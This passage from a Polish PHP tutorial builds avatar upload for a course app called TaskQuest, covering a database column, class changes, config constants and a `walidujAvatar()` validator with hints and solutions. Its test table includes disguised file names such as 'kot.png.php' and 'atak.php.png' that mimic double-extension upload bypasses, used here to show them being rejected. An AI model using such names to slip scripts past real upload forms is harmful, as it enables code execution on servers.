<p class="wp-block-paragraph">Wyślij formularz bez pliku. Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code>, bo nie ma czego przenosić.</p>



<p class="wp-block-paragraph"><strong>Trzecia część — limity Twojego serwera.</strong> Dopisz na końcu części PHP (poza warunkiem POST):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo 'upload_max_filesize: ' . ini_get('upload_max_filesize') . '&lt;br&gt;';
echo 'post_max_size: ' . ini_get('post_max_size') . '&lt;br&gt;';</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_get()</code> odczytuje ustawienie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>. Zapisz oba wyniki. Porównaj je z limitem 1 MB, który ustawimy w TaskQuest, i odpowiedz sobie: który limit zadziała pierwszy przy pliku 3 MB?</p>



<p class="wp-block-paragraph">Katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">test_upload/</code> usuń po skończeniu. Brudnopis zostaw, przyda się w kroku 4.</p>



<h1 class="wp-block-heading">5. Włączamy avatar do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> zostaje tylko do testowania funkcji.</p>
</blockquote>



<p class="wp-block-paragraph">Plan: najpierw miejsce na dane (baza, klasa, stałe, katalog — kroki 1–3), potem funkcje (kroki 4–5), potem strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (krok 6) i diagnostyka (krok 7). Wyświetlenie avatara na stronie głównej to zadanie z sekcji 6. Po każdym kroku aplikacja działa.</p>



<h2 class="wp-block-heading">Krok 1 — kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> w bazie</h2>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy</code>, pod linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci DATE NULL</code>, dopisz nową kolumnę. Nie zapomnij postawić przecinka na końcu linii <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code>, bo teraz nie jest już ostatnia:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara</code></pre>



<p class="wp-block-paragraph">Decyzje, które za tym stoją:</p>



<ul class="wp-block-list">
<li><strong>W bazie trzymamy samą nazwę pliku</strong> (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_1790000000.png</code>), a nie ścieżkę <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/...</code> ani obrazek. Katalog zapiszemy raz, w stałej w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>. Jeśli kiedyś go przeniesiemy, zmienimy jedną linię kodu, a nie wszystkie wiersze w bazie. Samego obrazka nie trzymamy w bazie, bo pliki przechowuje system plików, a baza przechowuje informację, który plik do kogo należy.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> = gracz nie ma avatara.</strong> To ta sama zasada co przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(100)</code></strong> wystarczy z zapasem, bo nazwę pliku tworzymy sami i ma około 30 znaków.</li>
</ul>



<p class="wp-block-paragraph">Sprawdź w tym samym pliku polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy</code>. Jeśli wymienia kolumny w nawiasie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, ...) VALUES ...</code>), nie zmieniasz nic: kolumna, której nie wymieniono, dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> nie ma listy kolumn, dopisz na końcu każdego wiersza wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">, NULL</code>.</p>



<p class="wp-block-paragraph">Uruchom cały skrypt w phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → SQL). Zajrzyj do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>: Kama i Ola mają w kolumnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<p class="wp-block-paragraph">Odśwież TaskQuest. Działa jak po Lekcji 19. Nowa kolumna niczego nie psuje, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> wymienia kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">*</code>), więc jej nie widzi.</p>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> zna swój avatar</h2>



<p class="wp-block-paragraph"><strong>2a. Klasa.</strong> Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>. Dodaj właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> według zasad z Lekcji 15:</p>



<ol class="wp-block-list">
<li>pod właściwością <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> nowa właściwość prywatna <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code>. Jaki typ, skoro kolumna może być <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>? (Podpowiedź: tak samo jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> od Lekcji 18.)</li>



<li>konstruktor: nowy <strong>ostatni</strong> parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">$avatar</code> tego samego typu i linia, która przepisuje go do właściwości,</li>



<li>pod metodą <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code> getter <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAvatar()</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>2b. Funkcja.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>, w funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>:</p>



<ol class="wp-block-list">
<li>dopisz kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> na końcu listy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>,</li>



<li>dopisz argument nazwany <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar:</code> na końcu wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(...)</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie:</strong> w brudnopisie (pod całym dotychczasowym kodem albo w nowym pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(wczytajUzytkownika($polaczenie, 1)-&gt;pobierzAvatar());</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. W phpMyAdmin wpisz Kamie w kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">test.png</code> i odśwież brudnopis: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(8) "test.png"</code>. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> (w phpMyAdmin zaznacz pole „Null” przy edycji wiersza).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Typ, który dopuszcza tekst albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, zapisujesz ze znakiem zapytania przed nazwą typu. Getter zwraca dokładnie ten typ. Jeśli po zmianie klasy strona pokazuje błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Unknown named parameter</code>, porównaj nazwę parametru w konstruktorze z nazwą argumentu w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">W klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    private ?string $dataOstatniejAktywnosci;
    private ?string $avatar;</code></pre>



<p class="wp-block-paragraph">Konstruktor (pozostałe linie ciała bez zmian):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function __construct(
        int $id,
        string $login,
        string $imieUzytkownika,
        int $xp,
        int $streak,
        ?string $dataOstatniejAktywnosci,
        ?string $avatar
    ) {
        // ... dotychczasowe przypisania ...
        $this-&gt;avatar = $avatar;
    }</code></pre>



<p class="wp-block-paragraph">Jeśli Twój konstruktor ma parametry w jednej linii, dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string $avatar</code> na jej końcu po przecinku. Zapis w wielu liniach to tylko kwestia czytelności.</p>



<p class="wp-block-paragraph">Getter pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function pobierzAvatar(): ?string
    {
        return $this-&gt;avatar;
    }</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci, avatar FROM uzytkownicy WHERE id = ?'
    );</code></pre>



<p class="wp-block-paragraph">oraz na końcu tworzenia obiektu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
        avatar: $wiersz&#91;'avatar'],
    );</code></pre>



<p class="wp-block-paragraph">Nie ma settera <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawAvatar()</code>. Avatar zmienia się w bazie, a obiekt żyje tylko przez jedno żądanie (Lekcja 15). Po zmianie avatara strona i tak zostanie wczytana od nowa.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — stałe i katalog</h2>



<p class="wp-block-paragraph"><strong>3a. Katalog.</strong> W katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> utwórz katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads</code>, a w nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatary</code>. Aplikacja <strong>nie tworzy</strong> go sama. Tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/</code>, jest częścią struktury projektu, a jego obecność sprawdzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (krok 7).</p>



<p class="wp-block-paragraph"><strong>3b. Stałe.</strong> Na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// (L21) avatary graczy
define('KATALOG_AVATAROW', 'uploads/avatary');          // względem katalogu projektu
define('MAKS_ROZMIAR_AVATARA', 1024 * 1024);           // 1 MB w bajtach
define('DOZWOLONE_ROZSZERZENIA_AVATARA', &#91;'jpg', 'jpeg', 'png', 'webp']);</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW</code> jest ścieżką <strong>względną</strong>, bez ukośnika na końcu. Użyjemy jej w dwóch miejscach. Przy zapisie pliku doklejamy przed nią katalog projektu na dysku (<code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__ . '/' . KATALOG_AVATAROW</code>). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="..."&gt;</code> używamy jej tak, jak jest: przeglądarka liczy ją względem adresu strony, a wszystkie strony TaskQuest leżą w katalogu głównym projektu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">1024 * 1024</code>: 1 KB to 1024 bajty, 1 MB to 1024 KB. Zapis mnożenia jest czytelniejszy niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">1048576</code>.</li>



<li>Stała może przechowywać tablicę. Lista dozwolonych rozszerzeń jest w jednym miejscu. Dopisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">gif</code> to zmiana jednej linii.</li>
</ul>



<p class="wp-block-paragraph">Rozszerzenia piszemy <strong>małymi literami</strong>. Za chwilę zobaczysz dlaczego.</p>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: funkcje avatara</h2>



<p class="wp-block-paragraph">Utwórz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_avatara.php</code> (bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>). Napiszemy w nim dwie funkcje.</p>



<p class="wp-block-paragraph"><strong>4a. <code class="prettyprint lang-sql" style="font-size: 0.85em;">rozszerzenieAvatara()</code> — gotowa.</strong> Wklej:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest do obsługi avatarów (Lekcja 21).
// Wymagają wcześniejszego dołączenia config/config.php (stałe ..._AVATARA).

function rozszerzenieAvatara(string $nazwaPliku): string
{
    return strtolower(pathinfo($nazwaPliku, PATHINFO_EXTENSION));
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">pathinfo()</code> znasz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">listaPlikowWKatalogu()</code> (Lekcja 10). Z drugim argumentem <code class="prettyprint lang-sql" style="font-size: 0.85em;">PATHINFO_EXTENSION</code> zwraca samo rozszerzenie: dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">png</code>, dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png.php</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">php</code> (liczy się <strong>ostatnia</strong> kropka), dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot</code> → pusty tekst. <code class="prettyprint lang-sql" style="font-size: 0.85em;">strtolower()</code> zamienia litery na małe: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">KOT.PNG</code> z aparatu też ma przejść.</p>



<p class="wp-block-paragraph"><strong>4b. <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujAvatar()</code> — napisz sama/sam.</strong> Nagłówek:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujAvatar(array $plik): array</code></pre>



<p class="wp-block-paragraph">Funkcja dostaje <strong>jedną</strong> tablicę z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code>) i zwraca tablicę komunikatów. <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> oznacza, że plik jest poprawny. Tak samo działa <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>: nie rzuca wyjątków, niczego nie wyświetla, a komunikaty nie zawierają danych od użytkownika (nie powtarzamy nazwy pliku).</p>



<p class="wp-block-paragraph">Reguły i komunikaty, w tej kolejności:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Komunikat</th><th>Co dalej</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = brak pliku</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Wybierz plik z obrazkiem.</code></td><td>zwróć od razu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = przekroczony limit serwera albo formularza</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik może mieć najwyżej 1 MB.</code></td><td>zwróć od razu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = każdy inny błąd</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się przesłać pliku. Spróbuj ponownie.</code></td><td>zwróć od razu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> = 0</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Wybrany plik jest pusty.</code></td><td>zwróć od razu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> większy niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAKS_ROZMIAR_AVATARA</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Plik może mieć najwyżej 1 MB.</code></td><td>sprawdzaj dalej</td></tr><tr><td>rozszerzenie spoza <code class="prettyprint lang-sql" style="font-size: 0.85em;">DOZWOLONE_ROZSZERZENIA_AVATARA</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Dozwolone formaty: JPG, PNG, WEBP.</code></td><td>—</td></tr><tr><td>rozszerzenie dozwolone, ale zawartość to nie obrazek</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Wybrany plik nie jest obrazkiem.</code></td><td>—</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Dlaczego czasem „zwróć od razu”? Kiedy przesyłanie się nie udało, nie ma pliku, więc nie ma czego sprawdzać dalej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code> jest pusty). Pusty plik też kończy sprawdzanie, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code> wypisałaby dla niego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Notice</code> (sekcja 3.5). Rozmiar i rozszerzenie to dwa niezależne problemy, więc pokazujemy oba naraz, jak w formularzu zadania. Zawartość sprawdzamy <strong>tylko</strong> przy dozwolonym rozszerzeniu: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">dokument.pdf</code> ma dostać jeden komunikat o formacie, a nie dwa.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<ul class="wp-block-list">
<li>Porównuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik['error']</code> ze stałymi <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_...</code> z sekcji 3.3, nie z liczbami.</li>



<li>Do sprawdzenia, czy wartość jest w tablicy, służy <code class="prettyprint lang-sql" style="font-size: 0.85em;">in_array($wartosc, $tablica, true)</code>. Trzeci argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> włącza porównanie ścisłe (<code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code>), tak jak zawsze w tym kursie.</li>



<li>Ostatnie dwie reguły to jedna konstrukcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code>.</li>
</ul>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujAvatar(array $plik): array
{
    $bledy = &#91;];

    if ($plik&#91;'error'] === UPLOAD_ERR_NO_FILE) {
        $bledy&#91;] = 'Wybierz plik z obrazkiem.';
        return $bledy;
    }

    // ... dwa kolejne warunki z kodem błędu ...

    // ... pusty plik ...

    if ($plik&#91;'size'] &gt; MAKS_ROZMIAR_AVATARA) {
        // ...
    }

    if (!in_array(rozszerzenieAvatara($plik&#91;'name']), DOZWOLONE_ROZSZERZENIA_AVATARA, true)) {
        // ...
    } elseif (getimagesize($plik&#91;'tmp_name']) === false) {
        // ...
    }

    return $bledy;
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujAvatar(array $plik): array
{
    $bledy = &#91;];

    if ($plik&#91;'error'] === UPLOAD_ERR_NO_FILE) {
        $bledy&#91;] = 'Wybierz plik z obrazkiem.';
        return $bledy;
    }

    if ($plik&#91;'error'] === UPLOAD_ERR_INI_SIZE || $plik&#91;'error'] === UPLOAD_ERR_FORM_SIZE) {
        $bledy&#91;] = 'Plik może mieć najwyżej 1 MB.';
        return $bledy;
    }

    if ($plik&#91;'error'] !== UPLOAD_ERR_OK) {
        $bledy&#91;] = 'Nie udało się przesłać pliku. Spróbuj ponownie.';
        return $bledy;
    }

    if ($plik&#91;'size'] === 0) {
        $bledy&#91;] = 'Wybrany plik jest pusty.';
        return $bledy;
    }

    if ($plik&#91;'size'] &gt; MAKS_ROZMIAR_AVATARA) {
        $bledy&#91;] = 'Plik może mieć najwyżej 1 MB.';
    }

    if (!in_array(rozszerzenieAvatara($plik&#91;'name']), DOZWOLONE_ROZSZERZENIA_AVATARA, true)) {
        $bledy&#91;] = 'Dozwolone formaty: JPG, PNG, WEBP.';
    } elseif (getimagesize($plik&#91;'tmp_name']) === false) {
        $bledy&#91;] = 'Wybrany plik nie jest obrazkiem.';
    }

    return $bledy;
}</code></pre>
</details>



<p class="wp-block-paragraph">Przy błędzie limitu serwera (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_INI_SIZE</code>) piszemy „1 MB”, choć limit serwera jest wyższy. Użytkownika interesuje jedna zasada TaskQuest, a nie ustawienia <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>.</p>



<p class="wp-block-paragraph"><strong>4c. Test funkcji w brudnopisie.</strong> Funkcja przyjmuje zwykłą tablicę, więc możesz ją przetestować <strong>bez formularza</strong>, podając tablice ułożone jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>. Skopiuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code> do katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>, a w nowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> (albo pod kodem z kroku 2) napisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';

$przypadki = &#91;
    &#91;'name' =&gt; 'kot.png', 'tmp_name' =&gt; __DIR__ . '/kot.png', 'error' =&gt; UPLOAD_ERR_OK, 'size' =&gt; 5000],
    // ... dopisz kolejne przypadki z tabeli poniżej ...
];

foreach ($przypadki as $plik) {
    echo $plik&#91;'name'] . ': ';
    print_r(walidujAvatar($plik));
    echo '&lt;br&gt;';
}</code></pre>



<p class="wp-block-paragraph">Klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code> nie podajemy, bo funkcja go nie czyta. Rozmiar <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> wpisujemy sami, żeby sprawdzić granice limitu.</p>



<p class="wp-block-paragraph">Przewidź wynik, zanim uruchomisz:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code></th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code></th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code></th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code></th><th>Oczekiwane</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>5000</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KOT.PNG</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>5000</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>5000</td><td>format</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.gif</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>5000</td><td>format</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>5000</td><td>format</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>20</td><td>„nie jest obrazkiem”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.php.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>20</td><td>„nie jest obrazkiem”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>1048576</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> (dokładnie 1 MB — jeszcze wolno)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>1048577</td><td>rozmiar</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">duzy.gif</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>2000000</td><td>rozmiar <strong>i</strong> format (dwa komunikaty)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pusty.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>0</td><td>„pusty”</td></tr><tr><td>(pusty tekst)</td><td>(pusty tekst)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_FILE</code></td><td>0</td><td>„Wybierz plik”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">x.png</code></td><td>(pusty tekst)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_INI_SIZE</code></td><td>0</td><td>rozmiar</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">x.png</code></td><td>(pusty tekst)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_PARTIAL</code></td><td>0</td><td>„Nie udało się przesłać”</td></tr></tbody></table></figure>



